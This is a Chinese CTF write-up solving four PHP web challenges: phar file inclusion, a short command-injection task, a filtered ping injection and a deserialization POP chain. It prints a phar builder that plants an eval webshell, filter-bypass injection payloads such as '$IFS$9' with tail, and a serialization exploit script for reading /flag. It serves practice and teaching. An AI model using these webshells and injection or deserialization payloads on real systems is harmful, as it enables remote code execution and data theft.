0x00 phar??
查看源代码提示include.php,在include页提示:the parameter is file! 🙂
看到参数是file不难想到文件包含啦,使用php://filter流对源代码进行读取,记得不要加.php后缀:
index.php:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<!-- include.php -->
</body>
</html>
include.php:
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
upload.php:
<form action="" enctype="multipart/form-data" method="post" name="upload"
可以看到include页对输入的字符进行了限制,而且包含时后缀自动加上了“.php”,结合题目提示,考虑使用phar绕过。
⚪参考:
https://www.shawroot.cc/archives/1141
需要将php.ini中的phar.readonly选项设置为Off,PHPstudy版本切换5.5.38。
<?php
class MyClass{
var $output = '@eval($_POST[root]);';
}
$o = new MyClass();
$filename = 'poc3.phar';// 后缀必须为phar,否则程序无法运行
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("shaw.php",'<?php phpinfo();@eval($_POST[root]);?>');
$phar->stopBuffering();
?>
上传后访问:?file=phar://upload/poc3.png/shaw 出现了phpinfo,即代表成功解析惹。

蚁剑连接根目录有flag。
0x01 rcee
传入command=ls /可看到flag。因为字符长度限制为8位以内,使用通配符代替即可。paylad:command=cat /f*
0x02 shell_exec
查看源代码发现注释:ping -c 2 "$_POST[ip]" 2>&1
fuzz了一哈,过滤了&、;、"、flag、空格等。
使用dir命令查看flag的位置和名称:`dir$IFS$9/>2.txt`
可以看到根目录下存在flag(还有一个fllag,很迷)。
查看具体内容,过滤了cat和tac等,使用可替代cat的tail命令绕过即可:`tail$IFS$9/fl??>2.txt`
后来看到还有些师傅用的head命令也可以哈。
0x03 simple_pop
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
感觉这题做过(?
GET形式传入:?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
POST形式传入:welcome to the beijing
得到useless.php的源代码如下:
<?php
class Modifier {
protected $var;
public function append($value){
include($value);//flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['password'])){
@unserialize($_GET['password']);
}
else{
$a=new Show;
}
?>
查资料学习一哈代码里的魔术方法:
__invoke:直接调用对象名当方法使用时,就调用的是__invoke()方法。例如:
$test = new Test();//实例化一个对象 $test();//将对象当做方法来使用
__toString:将一个对象当做一个字符串来使用时,会自动调用该方法。
__get:访问不存在的成员变量时调用。
捋思路:
- include()函数是append方法中被调用的,append方法在__invoke魔术方法中被触发。看到include()可以想到使用伪协议读取flag。下面就考虑如何触发__invoke。
- 因为“直接调用对象名当方法使用时,就调用的是__invoke()方法”,所以可以利用Test类中的“return $function();”,达到触发__invoke的目的。想要实现“return $function();”必须触发__get魔术方法。
- 调用__get魔术方法必须访问不存在的成员变量,利用Show类中的“return $this->str->source;”可以达到目的。让$p指向Test类中不存在的成员变量即可。下一步考虑如何触发__toString。
- Show类正好有echo的地方,可以利用$source变量达到触发__toString的目的。
<?php
class Modifier{
protected $var='php://filter/convert.base64-encode/resource=/flag';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$Mod = new Modifier();
$Sho = new Show();
$tes = new Test();
$tes->p = $Mod;
$Sho->str = $tes;
$Sho->source = $Sho;
echo urlencode(serialize($Sho));